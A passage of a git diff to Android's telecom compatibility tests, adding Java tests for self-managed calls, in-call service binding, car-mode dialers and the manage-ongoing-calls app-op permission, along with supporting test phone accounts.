+import static org.junit.Assert.assertTrue;
+
+public class PhoneAccountTest extends AndroidTestCase {
+    public static final String ACCOUNT_LABEL = "CTSPhoneAccountTest";
+
+    public void testPhoneAccountCapabilitiesForCallComposer() {
+        PhoneAccount testPhoneAccount = PhoneAccount.builder(
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
+                .setCapabilities(PhoneAccount.CAPABILITY_CALL_COMPOSER)
+                .build();
+        assertTrue(testPhoneAccount.hasCapabilities(PhoneAccount.CAPABILITY_CALL_COMPOSER));
+
+        testPhoneAccount = PhoneAccount.builder(
+                TestUtils.TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
+                .setCapabilities(PhoneAccount.CAPABILITY_VIDEO_CALLING)
+                .build();
+        assertFalse(testPhoneAccount.hasCapabilities(PhoneAccount.CAPABILITY_CALL_COMPOSER));
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
index cab5d5a..1e0e3e8 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnection.java
@@ -35,6 +35,9 @@
     InvokeCounter mCallEventCounter = new InvokeCounter("onCallEvent");
     InvokeCounter mHandoverCompleteCounter = new InvokeCounter("handoverCompleteCounter");
     CountDownLatch mOnHoldLatch = new CountDownLatch(1);
+    CountDownLatch mInCallServiceTrackingLatch = new CountDownLatch(1);
+    boolean mIsTracked = false;
+    boolean mIsAlternativeUiShowing = false;
 
     public static abstract class Listener {
         void onDestroyed(SelfManagedConnection connection) { };
@@ -64,6 +67,18 @@
     }
 
     @Override
+    public void onUsingAlternativeUi(boolean isUsingAlternativeUi) {
+        mIsAlternativeUiShowing = isUsingAlternativeUi;
+        mInCallServiceTrackingLatch.countDown();
+    }
+
+    @Override
+    public void onTrackedByNonUiService(boolean isTracked) {
+        mIsTracked = isTracked;
+        mInCallServiceTrackingLatch.countDown();
+    }
+
+    @Override
     public void onDisconnect() {
         super.onDisconnect();
         disconnectAndDestroy();
@@ -109,4 +124,18 @@
         mOnHoldLatch = TestUtils.waitForLock(mOnHoldLatch);
         return mOnHoldLatch != null;
     }
+
+    public boolean waitOnInCallServiceTrackingChanged() {
+        boolean result = TestUtils.waitForLatchCountDown(mInCallServiceTrackingLatch);
+        mInCallServiceTrackingLatch = new CountDownLatch(1);
+        return result;
+    }
+
+    public boolean isTracked() {
+        return mIsTracked;
+    }
+
+    public boolean isAlternativeUiShowing() {
+        return mIsAlternativeUiShowing;
+    }
 }
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
index 7311d50..c890889 100644
--- a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionServiceTest.java
@@ -20,7 +20,6 @@
 import android.database.Cursor;
 import android.media.AudioManager;
 import android.net.Uri;
-import android.os.Bundle;
 import android.provider.CallLog;
 import android.telecom.Call;
 import android.telecom.CallAudioState;
@@ -38,6 +37,7 @@
 
 import static android.media.AudioManager.MODE_IN_COMMUNICATION;
 import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_1;
+import static android.telecom.cts.TestUtils.TEST_SELF_MANAGED_HANDLE_4;
 import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
 import static android.telecom.cts.TestUtils.waitOnAllHandlers;
 
@@ -68,6 +68,7 @@
             mTelecomManager.registerPhoneAccount(TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_1);
             mTelecomManager.registerPhoneAccount(TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_2);
             mTelecomManager.registerPhoneAccount(TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_3);
+            mTelecomManager.registerPhoneAccount(TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_4);
         }
     }
 
@@ -534,6 +535,7 @@
                 CtsSelfManagedConnectionService.FOCUS_GAINED_LOCK));
 
         // WHEN place a managed call
+        mInCallCallbacks.resetLock();
         placeAndVerifyCall();
         verifyConnectionForOutgoingCall().setActive();
         assertTrue(connectionService.waitForEvent(
@@ -632,6 +634,7 @@
         assertEquals(connection.getOnShowIncomingUiInvokeCounter().getInvokeCount(), 0);
         setActiveAndVerify(connection);
 
+        mInCallCallbacks.resetLock();
         placeAndVerifyEmergencyCall(true /*supportsHold*/);
         Call eCall = getInCallService().getLastCall();
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
new file mode 100644
index 0000000..7a13f6b
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/SelfManagedConnectionTest.java
@@ -0,0 +1,321 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.ActivityManager;
+import android.app.UiAutomation;
+import android.app.role.RoleManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.res.Configuration;
+import android.net.Uri;
+import android.os.AsyncTask;
+import android.os.IBinder;
+import android.os.UserHandle;
+import android.telecom.cts.carmodetestapp.CtsCarModeInCallServiceControl;
+import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
+import android.telecom.cts.carmodetestapptwo.CtsCarModeInCallServiceControlTwo;
+import android.telecom.cts.thirdptydialer.CtsThirdPtyDialerInCallServiceControl;
+import android.telecom.cts.thirdptydialertwo.CtsThirdPtyDialerInCallServiceControlTwo;
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceControl;
+import android.telecom.cts.thirdptyincallservice.ICtsThirdPartyInCallServiceControl;
+import android.util.Log;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Consumer;
+
+public class SelfManagedConnectionTest extends BaseTelecomTestWithMockServices {
+    private static final String TAG = "SelfManagedConnectionTest";
+    private static final long TIMEOUT = 3000L;
+    private static final String THIRD_PTY_CONTROL =
+            CtsThirdPartyInCallServiceControl.CONTROL_INTERFACE_ACTION;
+    private static final String CAR_MODE_CONTROL =
+            "android.telecom.cts.carmodetestapp.ACTION_CAR_MODE_CONTROL";
+    private static final ComponentName NON_UI_INCALLSERVICE = ComponentName.createRelative(
+            CtsThirdPartyInCallServiceControl.class.getPackage().getName(),
+            CtsThirdPartyInCallServiceControl.class.getName());
+    // Default dialer that not support self-managed calls
+    private static final String DEFAULT_DIALER_PKG_1 = CtsThirdPtyDialerInCallServiceControl.class
+            .getPackage().getName();
+    private static final ComponentName DEFAULT_DIALER_INCALLSERVICE_1 = ComponentName
+            .createRelative(DEFAULT_DIALER_PKG_1,
+                    CtsThirdPtyDialerInCallServiceControl.class.getName());
+    // Default dialerhat support self-managed calls
+    private static final String DEFAULT_DIALER_PKG_2 = CtsThirdPtyDialerInCallServiceControlTwo
+            .class.getPackage().getName();
+    private static final ComponentName DEFAULT_DIALER_INCALLSERVICE_2 = ComponentName
+            .createRelative(DEFAULT_DIALER_PKG_2,
+                    CtsThirdPtyDialerInCallServiceControlTwo.class.getName());
+    private static final String CAR_DIALER_PKG_1 = CtsCarModeInCallServiceControl.class
+            .getPackage().getName();
+    private static final ComponentName CAR_DIALER_1 = ComponentName.createRelative(
+            CAR_DIALER_PKG_1, CtsCarModeInCallServiceControl.class.getName());
+    private static final String CAR_DIALER_PKG_2 = CtsCarModeInCallServiceControlTwo.class
+            .getPackage().getName();
+    private static final ComponentName CAR_DIALER_2 = ComponentName.createRelative(
+            CAR_DIALER_PKG_2, CtsCarModeInCallServiceControlTwo.class.getName());
+
+    private Uri TEST_ADDRESS = Uri.fromParts("tel", "6505551213", null);
+
+    private RoleManager mRoleManager;
+    private String mDefaultDialer;
+    private UiAutomation mUiAutomation;
+
+    private class TestServiceConnection implements ServiceConnection {
+        private IBinder mService;
+        private CountDownLatch mLatch = new CountDownLatch(1);
+        private boolean mIsConnected;
+
+        @Override
+        public void onServiceConnected(ComponentName componentName, IBinder service) {
+            Log.i(TAG, "Service Connected: " + componentName);
+            mService = service;
+            mIsConnected = true;
+            mLatch.countDown();
+        }
+
+        @Override
+        public void onServiceDisconnected(ComponentName componentName) {
+            mService = null;
+        }
+
+        public IBinder getService() {
+            return mService;
+        }
+
+        public boolean waitBind() {
+            try {
+                mLatch.await(TIMEOUT, TimeUnit.MILLISECONDS);
+                return mIsConnected;
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        NewOutgoingCallBroadcastReceiver.reset();
+        mContext = getInstrumentation().getContext();
+        mUiAutomation = getInstrumentation().getUiAutomation();
+        if (mShouldTestTelecom) {
+            mRoleManager = mContext.getSystemService(RoleManager.class);
+            setupConnectionService(null, FLAG_ENABLE | FLAG_REGISTER);
+            mTelecomManager.registerPhoneAccount(TestUtils.TEST_SELF_MANAGED_PHONE_ACCOUNT_4);
+            mDefaultDialer = getDefaultDialer();
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+        CtsSelfManagedConnectionService connectionService =
+                CtsSelfManagedConnectionService.getConnectionService();
+        if (connectionService != null) {
+            connectionService.tearDown();
+            mTelecomManager.unregisterPhoneAccount(TestUtils.TEST_SELF_MANAGED_HANDLE_4);
+            assertTrue(setDefaultDialer(mDefaultDialer));
+        }
+    }
+
+    /**
+     * Test bind to non-UI in call services that support self-managed connections
+     */
+    public void testBindToSupportNonUiInCallService() throws Exception {
+        TestServiceConnection controlConn = setUpControl(THIRD_PTY_CONTROL,
+                NON_UI_INCALLSERVICE);
+        ICtsThirdPartyInCallServiceControl control = ICtsThirdPartyInCallServiceControl.Stub
+                .asInterface(controlConn.getService());
+        control.resetLatchForServiceBound(true /* bind */);
+
+        SelfManagedConnection connection = placeAndVerifySelfManagedCall();
+        control.checkBindStatus(true /* bindStatus */);
+        assertTrue(connection.isTracked());
+
+        connection.disconnectAndDestroy();
+        mContext.unbindService(controlConn);
+    }
+
+    /**
+     * Test bind to default dialer that support self-managed connections when device is not in car
+     * mode
+     */
+    public void testBindToSupportDefaultDialerNoCarMode() throws Exception {
+        TestServiceConnection controlConn = setUpControl(THIRD_PTY_CONTROL,
+                DEFAULT_DIALER_INCALLSERVICE_2);
+        ICtsThirdPartyInCallServiceControl control = ICtsThirdPartyInCallServiceControl.Stub
+                .asInterface(controlConn.getService());
+        assertTrue(setDefaultDialer(DEFAULT_DIALER_PKG_2));
+        control.resetLatchForServiceBound(true /* bind */);
+
+        SelfManagedConnection connection = placeAndVerifySelfManagedCall();
+        control.checkBindStatus(true /* bindStatus */);
+
+        connection.waitOnInCallServiceTrackingChanged();
+        assertTrue(connection.isTracked());
+        assertTrue(connection.isAlternativeUiShowing());
+
+        connection.disconnectAndDestroy();
+        mContext.unbindService(controlConn);
+    }
+
+    /**
+     * Test not bind to default dialer that not support self-managed connections when device is not
+     * in car mode
+     */
+    public void testNoBindToUnsupportDefaultDialerNoCarMode() throws Exception {
+        TestServiceConnection controlConn = setUpControl(THIRD_PTY_CONTROL,
+                DEFAULT_DIALER_INCALLSERVICE_1);
+        ICtsThirdPartyInCallServiceControl control = ICtsThirdPartyInCallServiceControl.Stub
+                .asInterface(controlConn.getService());
+        assertTrue(setDefaultDialer(DEFAULT_DIALER_PKG_1));
+        control.resetLatchForServiceBound(true /* bind */);
+
+        SelfManagedConnection connection = placeAndVerifySelfManagedCall();
+        assertFalse(control.checkBindStatus(true /* bindStatus */));
+
+        connection.disconnectAndDestroy();
+        mContext.unbindService(controlConn);
+    }
+
+    public void testEnterCarMode() throws Exception {
+        TestServiceConnection controlConn = setUpControl(CAR_MODE_CONTROL,
+                CAR_DIALER_1);
+        ICtsCarModeInCallServiceControl control = ICtsCarModeInCallServiceControl.Stub
+                .asInterface(controlConn.getService());
+        control.reset();
+
+        SelfManagedConnection connection = placeAndVerifySelfManagedCall();
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.ENTER_CAR_MODE_PRIORITIZED",
+                "android.permission.CONTROL_INCALL_EXPERIENCE");
+        control.enableCarMode(1000);
+        assertTrue(control.checkBindStatus(true /* bindStatus */));
+        control.disableCarMode();
+        mUiAutomation.dropShellPermissionIdentity();
+
+        connection.disconnectAndDestroy();
+        mContext.unbindService(controlConn);
+    }
+
+    public void testChangeCarModeApp() throws Exception {
+        TestServiceConnection controlConn1 = setUpControl(CAR_MODE_CONTROL, CAR_DIALER_1);
+        TestServiceConnection controlConn2 = setUpControl(CAR_MODE_CONTROL, CAR_DIALER_2);
+        ICtsCarModeInCallServiceControl control1 = ICtsCarModeInCallServiceControl.Stub
+                .asInterface(controlConn1.getService());
+        ICtsCarModeInCallServiceControl control2 = ICtsCarModeInCallServiceControl.Stub
+                .asInterface(controlConn2.getService());
+        control1.reset();
+        control2.reset();
+
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.ENTER_CAR_MODE_PRIORITIZED",
+                "android.permission.CONTROL_INCALL_EXPERIENCE");
+        control1.enableCarMode(999);
+
+        SelfManagedConnection connection = placeAndVerifySelfManagedCall();
+        assertTrue(control1.checkBindStatus(true /* bindStatus */));
+        control2.enableCarMode(1000);
+        assertTrue(control1.checkBindStatus(false /* bindStatus */));
+        assertTrue(control2.checkBindStatus(true /* bindStatus */));
+
+        control1.disableCarMode();
+        control2.disableCarMode();
+        // Make sure the UI mode has been set back
+        assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
+
+        mUiAutomation.dropShellPermissionIdentity();
+        mContext.unbindService(controlConn1);
+        mContext.unbindService(controlConn2);
+    }
+
+    public void testExitCarMode() throws Exception {
+        TestServiceConnection controlConn = setUpControl(CAR_MODE_CONTROL, CAR_DIALER_1);
+        ICtsCarModeInCallServiceControl control = ICtsCarModeInCallServiceControl.Stub
+                .asInterface(controlConn.getService());
+        control.reset();
+
+        mUiAutomation.adoptShellPermissionIdentity(
+                "android.permission.ENTER_CAR_MODE_PRIORITIZED",
+                "android.permission.CONTROL_INCALL_EXPERIENCE");
+        control.enableCarMode(1000);
+
+        SelfManagedConnection connection = placeAndVerifySelfManagedCall();
+        assertTrue(control.checkBindStatus(true /* bindStatus */));
+        control.disableCarMode();
+        assertTrue(control.checkBindStatus(false /* bindStatus */));
+        mUiAutomation.dropShellPermissionIdentity();
+
+        connection.disconnectAndDestroy();
+        mContext.unbindService(controlConn);
+    }
+
+    private TestServiceConnection setUpControl(String action, ComponentName componentName) {
+        Intent bindIntent = new Intent(action);
+        bindIntent.setComponent(componentName);
+
+        TestServiceConnection serviceConnection = new TestServiceConnection();
+        mContext.bindService(bindIntent, serviceConnection, Context.BIND_AUTO_CREATE);
+        if (!serviceConnection.waitBind()) {
+            fail("fail bind to service");
+        }
+        return serviceConnection;
+    }
+
+    private boolean setDefaultDialer(String packageName) {
+        mUiAutomation.adoptShellPermissionIdentity();
+        try {
+            CompletableFuture<Boolean> future = new CompletableFuture<>();
+            Consumer<Boolean> callback = successful -> {
+                future.complete(successful);
+            };
+
+            mRoleManager.addRoleHolderAsUser(RoleManager.ROLE_DIALER, packageName, 0,
+                    UserHandle.of(ActivityManager.getCurrentUser()), AsyncTask.THREAD_POOL_EXECUTOR,
+                    callback);
+            return future.get(TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException | ExecutionException | TimeoutException e) {
+            e.printStackTrace();
+            return false;
+        } finally {
+            mUiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    private String getDefaultDialer() {
+        mUiAutomation.adoptShellPermissionIdentity();
+        String result = mRoleManager.getRoleHolders(RoleManager.ROLE_DIALER).get(0);
+        mUiAutomation.dropShellPermissionIdentity();
+        return result;
+    }
+
+    private SelfManagedConnection placeAndVerifySelfManagedCall() {
+        TestUtils.addIncomingCall(getInstrumentation(), mTelecomManager,
+                TestUtils.TEST_SELF_MANAGED_HANDLE_4, TEST_ADDRESS);
+        if (!CtsSelfManagedConnectionService.waitForBinding()) {
+            fail("Could not bind to Self-Managed ConnectionService");
+        }
+        return TestUtils.waitForAndGetConnection(TEST_ADDRESS);
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
index fcef1b2..52ef750 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TelecomManagerTest.java
@@ -16,12 +16,16 @@
 
 package android.telecom.cts;
 
+import static com.android.compatibility.common.util.ShellIdentityUtils
+        .invokeMethodWithShellPermissionsNoReturn;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
+import android.app.AppOpsManager;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.PackageManager;
 import android.media.AudioDeviceInfo;
 import android.media.AudioManager;
 import android.net.Uri;
@@ -35,6 +39,7 @@
 
     private static final String TEST_EMERGENCY_NUMBER = "5553637";
     private static final Uri TEST_EMERGENCY_URI = Uri.fromParts("tel", TEST_EMERGENCY_NUMBER, null);
+    private static final String CTS_TELECOM_PKG = TelecomManagerTest.class.getPackage().getName();
 
     public void testGetCurrentTtyMode() {
         if (!mShouldTestTelecom) {
@@ -57,6 +62,28 @@
         }
     }
 
+    public void testHasManageOngoingCallsPermission() {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        AppOpsManager appOpsManager = mContext.getSystemService(AppOpsManager.class);
+        PackageManager packageManager = mContext.getPackageManager();
+        try {
+            final int uid = packageManager.getApplicationInfo(CTS_TELECOM_PKG, 0).uid;
+            invokeMethodWithShellPermissionsNoReturn(appOpsManager,
+                    (appOpsMan) -> appOpsMan.setUidMode(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS,
+                            uid, AppOpsManager.MODE_ALLOWED));
+            assertTrue(mTelecomManager.hasManageOngoingCallsPermission());
+            invokeMethodWithShellPermissionsNoReturn(appOpsManager,
+                    (appOpsMan) -> appOpsMan.setUidMode(AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS,
+                            uid, AppOpsManager.opToDefaultMode(
+                                    AppOpsManager.OPSTR_MANAGE_ONGOING_CALLS)));
+            assertFalse(mTelecomManager.hasManageOngoingCallsPermission());
+        } catch (PackageManager.NameNotFoundException ex) {
+            fail("Couldn't get uid for android.telecom.cts");
+        }
+    }
+
     public void testTtyModeBroadcasts() {
         // We only expect the actual tty mode to change if there's a wired headset plugged in, so
         // don't do the test if there isn't one plugged in.
diff --git a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
index dcd3e26..c226fb0 100644
--- a/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
+++ b/tests/tests/telecom/src/android/telecom/cts/TestUtils.java
@@ -76,10 +76,13 @@
     public static final String REMOTE_COMPONENT = "android.telecom.cts.CtsRemoteConnectionService";
     public static final String ACCOUNT_ID_1 = "xtstest_CALL_PROVIDER_ID_1";
     public static final String ACCOUNT_ID_2 = "xtstest_CALL_PROVIDER_ID_2";
+    public static final String ACCOUNT_ID_SIM = "sim_acct";
     public static final String ACCOUNT_ID_EMERGENCY = "xtstest_CALL_PROVIDER_EMERGENCY";
     public static final String EXTRA_PHONE_NUMBER = "android.telecom.cts.extra.PHONE_NUMBER";
     public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE =
             new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_1);
+    public static final PhoneAccountHandle TEST_SIM_PHONE_ACCOUNT_HANDLE =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_SIM);
     public static final PhoneAccountHandle TEST_PHONE_ACCOUNT_HANDLE_2 =
             new PhoneAccountHandle(new ComponentName(PACKAGE, COMPONENT), ACCOUNT_ID_2);
     public static final PhoneAccountHandle TEST_EMERGENCY_PHONE_ACCOUNT_HANDLE =
@@ -110,8 +113,13 @@
     public static final PhoneAccountHandle TEST_SELF_MANAGED_HANDLE_3 =
             new PhoneAccountHandle(new ComponentName(PACKAGE, SELF_MANAGED_COMPONENT),
                     SELF_MANAGED_ACCOUNT_ID_3);
+    public static final String SELF_MANAGED_ACCOUNT_ID_4 = "ctstest_SELF_MANAGED_ID_4";
+    public static final PhoneAccountHandle TEST_SELF_MANAGED_HANDLE_4 =
+            new PhoneAccountHandle(new ComponentName(PACKAGE, SELF_MANAGED_COMPONENT),
+                    SELF_MANAGED_ACCOUNT_ID_4);
 
     public static final String ACCOUNT_LABEL = "CTSConnectionService";
+    public static final String SIM_ACCOUNT_LABEL = "CTSConnectionServiceSim";
     public static final PhoneAccount TEST_PHONE_ACCOUNT = PhoneAccount.builder(
             TEST_PHONE_ACCOUNT_HANDLE, ACCOUNT_LABEL)
             .setAddress(Uri.parse("tel:555-TEST"))
@@ -128,6 +136,18 @@
             .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
             .build();
 
+    public static final PhoneAccount TEST_SIM_PHONE_ACCOUNT = PhoneAccount.builder(
+            TEST_SIM_PHONE_ACCOUNT_HANDLE, SIM_ACCOUNT_LABEL)
+            .setAddress(Uri.parse("tel:555-TEST"))
+            .setSubscriptionAddress(Uri.parse("tel:555-TEST"))
+            .setCapabilities(PhoneAccount.CAPABILITY_CALL_PROVIDER |
+                    PhoneAccount.CAPABILITY_SIM_SUBSCRIPTION)
+            .setHighlightColor(Color.RED)
+            .setShortDescription(SIM_ACCOUNT_LABEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_VOICEMAIL)
+            .build();
+
     public static final PhoneAccount TEST_PHONE_ACCOUNT_2 = PhoneAccount.builder(
             TEST_PHONE_ACCOUNT_HANDLE_2, ACCOUNT_LABEL + "2")
             .setAddress(Uri.parse("tel:555-TEST2"))
@@ -204,6 +224,12 @@
         SELF_MANAGED_ACCOUNT_2_EXTRAS = new Bundle();
         SELF_MANAGED_ACCOUNT_2_EXTRAS.putBoolean(PhoneAccount.EXTRA_LOG_SELF_MANAGED_CALLS, true);
     }
+    public static final Bundle SELF_MANAGED_ACCOUNT_4_EXTRAS;
+    static {
+        SELF_MANAGED_ACCOUNT_4_EXTRAS = new Bundle();
+        SELF_MANAGED_ACCOUNT_4_EXTRAS.putBoolean(
+                PhoneAccount.EXTRA_ADD_SELF_MANAGED_CALLS_TO_INCALLSERVICE, true);
+    }
 
     public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT_2 = PhoneAccount.builder(
             TEST_SELF_MANAGED_HANDLE_2, SELF_MANAGED_ACCOUNT_LABEL)
@@ -230,6 +256,22 @@
             .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
             .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
             .build();
+    public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT_4 = PhoneAccount.builder(
+            TEST_SELF_MANAGED_HANDLE_4, SELF_MANAGED_ACCOUNT_LABEL)
+            .setAddress(Uri.parse("sip:test@test.com"))
+            .setSubscriptionAddress(Uri.parse("sip:test@test.com"))
+            .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED |
+                    PhoneAccount.CAPABILITY_SUPPORTS_VIDEO_CALLING |
+                    PhoneAccount.CAPABILITY_VIDEO_CALLING)
+            .setHighlightColor(Color.BLUE)
+            .setShortDescription(SELF_MANAGED_ACCOUNT_LABEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_TEL)
+            .addSupportedUriScheme(PhoneAccount.SCHEME_SIP)
+            .setExtras(SELF_MANAGED_ACCOUNT_4_EXTRAS)
+            .build();
+
+    private static final String COMMAND_SET_CALL_DIAGNOSTIC_SERVICE =
+            "telecom set-call-diagnostic-service ";
 
     private static final String COMMAND_SET_DEFAULT_DIALER = "telecom set-default-dialer ";
 
@@ -275,6 +317,13 @@
                 pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE);
     }
 
+    public static String setCallDiagnosticService(Instrumentation instrumentation,
+            String packageName)
+            throws Exception {
+        return executeShellCommand(instrumentation, COMMAND_SET_CALL_DIAGNOSTIC_SERVICE
+                + packageName);
+    }
+
     public static String setDefaultDialer(Instrumentation instrumentation, String packageName)
             throws Exception {
         return executeShellCommand(instrumentation, COMMAND_SET_DEFAULT_DIALER + packageName);
diff --git a/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceAppOpsPermissionTest.java b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceAppOpsPermissionTest.java
new file mode 100644
index 0000000..446c67c
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/ThirdPartyInCallServiceAppOpsPermissionTest.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.TEST_PHONE_ACCOUNT_HANDLE;
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+
+import static com.android.compatibility.common.util.ShellIdentityUtils
+        .invokeMethodWithShellPermissionsNoReturn;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.app.AppOpsManager;
+import android.app.UiModeManager;
+import android.app.role.RoleManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telecom.TelecomManager;
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallService;
+import android.telecom.cts.thirdptyincallservice.CtsThirdPartyInCallServiceControl;
+import android.telecom.cts.thirdptyincallservice.ICtsThirdPartyInCallServiceControl;
+import android.text.TextUtils;
+import android.util.Log;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+public class ThirdPartyInCallServiceAppOpsPermissionTest extends BaseTelecomTestWithMockServices {
+
+    private static final String TAG = ThirdPartyInCallServiceAppOpsPermissionTest
+            .class.getSimpleName();
+    private static final String THIRD_PARITY_PACKAGE_NAME = CtsThirdPartyInCallService
+            .class.getPackage().getName();
+    private static final Uri TEST_URI = Uri.parse("tel:555-TEST");
+    private Context mContext;
+    private AppOpsManager mAppOpsManager;
+    private PackageManager mPackageManager;
+    private TelecomManager mTelecomManager;
+    ICtsThirdPartyInCallServiceControl mICtsThirdPartyInCallServiceControl;
+    private boolean mExpectedTearDownBindingStatus;
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        mContext = getInstrumentation().getContext();
+        mAppOpsManager = mContext.getSystemService(AppOpsManager.class);
+        mPackageManager = mContext.getPackageManager();
+        mTelecomManager = mContext.getSystemService(TelecomManager.class);
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        setUpControl();
+        mICtsThirdPartyInCallServiceControl.resetLatchForServiceBound(false);
+        mExpectedTearDownBindingStatus = true;
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        mICtsThirdPartyInCallServiceControl.resetCalls();
+        super.tearDown();
+        if (mExpectedTearDownBindingStatus) {
+            assertBindStatus(/* true: bind, false: unbind */false, /* expected result */true);
+        }
+    }
+
+    public void testWithoutAppOpsPermission() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        setInCallServiceAppOpsPermission(false);
+        int previousCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+        addAndVerifyNewIncomingCall(TEST_URI, null);
+        assertBindStatus(/* true: bind, false: unbind */true, /* expected result */false);
+        assertCallCount(previousCallCount);
+        // Third Party InCallService hasn't been bound yet, unbound latch can be null when tearDown.
+        mExpectedTearDownBindingStatus = false;
+    }
+
+    public void testWithAppOpsPermission() throws Exception {
+        if (!mShouldTestTelecom) {
+            return;
+        }
+        // Grant App Ops Permission
+        setInCallServiceAppOpsPermission(true);
+
+        int previousCallCount = mICtsThirdPartyInCallServiceControl.getLocalCallCount();
+        addAndVerifyNewIncomingCall(TEST_URI, null);
+        assertBindStatus(/* true: bind, false: unbind */true, /* expected result */true);
+        assertCallCount(previousCallCount + 1);
